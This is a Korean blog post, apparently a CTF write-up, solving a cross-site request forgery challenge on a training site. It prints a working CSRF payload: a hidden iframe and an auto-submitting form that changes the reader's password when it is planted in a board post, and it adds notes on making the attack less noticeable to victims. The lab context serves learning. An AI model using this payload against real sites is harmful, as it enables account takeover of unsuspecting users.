해킹/해킹 기법

CSRF CTF 문제풀이 #1

Haemaa 2023. 5. 21. 13:12

이번엔 CSRF CTF 1번 문제를 풀어보도록 하겠습니다

 

CSRF 공격을 이용해 admin 계정의 비밀번호를 바꾸게 해야합니다.

 

 

CSRF 공격은 폭과 높이를 0으로 숨긴 iframe을 써서 action 속성으로 전달된 창이 뜨지 않게 할 수 있습니다.

 

코드를 보면 게시판만 읽어도 mypage_update.php에서 회원 정보를 수정한 효과를 얻을 수 있습니다.

<iframe width="0" height="0" border="0" 
name="stealthframe" id="stealthframe" style="display:none;">
</iframe>
<form method="GET" action="http://ctf.segfaulthub.com:7777/csrf_1/mypage_update.php" 
target="stealthframe">
<input type="hidden" name="pw" value="babo">
</form>
<script>
document.forms[0].submit(); //보이지 않게 띄운 창의 'submit'속성을 가진 input을 누름
</script>


Javascript에서는 document.forms 객체로 form 태그에서 사용되는 양식들을 제어할 수 있습니다.

 

코드대로라면 document.forms[0].submit()은 코드의 처음 form 태그 안에 존재하는 submit 속성을 가진 input을 누르게 될 겁니다.

 

document.forms 사용법

<form> →document.forms[0]
<input type=text value='1번째 텍스트'> →document.forms[0].elements[0]
<input type=text value='2번째 텍스트'> →document.forms[0].elements[1]
<input type=submit>
</form>
<form> →document.forms[1]
<input type=text value='1번째 글자'> →document.forms[1].elements[0]
<input type=text value='2번째 글자'> →document.forms[1].elements[1]
<input type=submit>
</form>

 

다른 id나 비밀번호 같은 input을 건드리고 싶다면 elements 객체를 사용하면 건드릴 수 있습니다.

document.forms[0].elements[0] 같은 식입니다.

 

 

제목과 내용에 어그로를 끌 수 있는 내용을 적어주고 그 밑에 CSRF 공격 코드를 삽입합니다.

 

작성 성공!

 

글 작성이 완료되고 게시판에 제가 쓴 글이 잘 올라왔습니다.

 

이렇게 게시판 글을 읽기만 해도 회원 정보가 수정되었다는 창이 뜹니다.

 

그리고 접속해있던 제 아이디 비밀번호가 바뀌면서 세션이 파괴되었습니다. 잘못된 접근이라고 뜨는군요

 

원래 아이디 비밀번호로 로그인하려고 하니 로그인이 되질 않습니다.

제가 게시판에 적었던 babo라는 패스워드로 로그인하니 로그인이 되었습니다.

 

 

작동은 잘 되는데 저 alert 창이 뜨면 이 공격을 상대방에게 살포했을 때 알아차릴 수 밖에 없을 것 같습니다.

 

 

 

 

 

 


소스 참조

https://m.blog.naver.com/PostView.nhn?isHttpsRedirect=true&blogId=akira54055&logNo=60035061694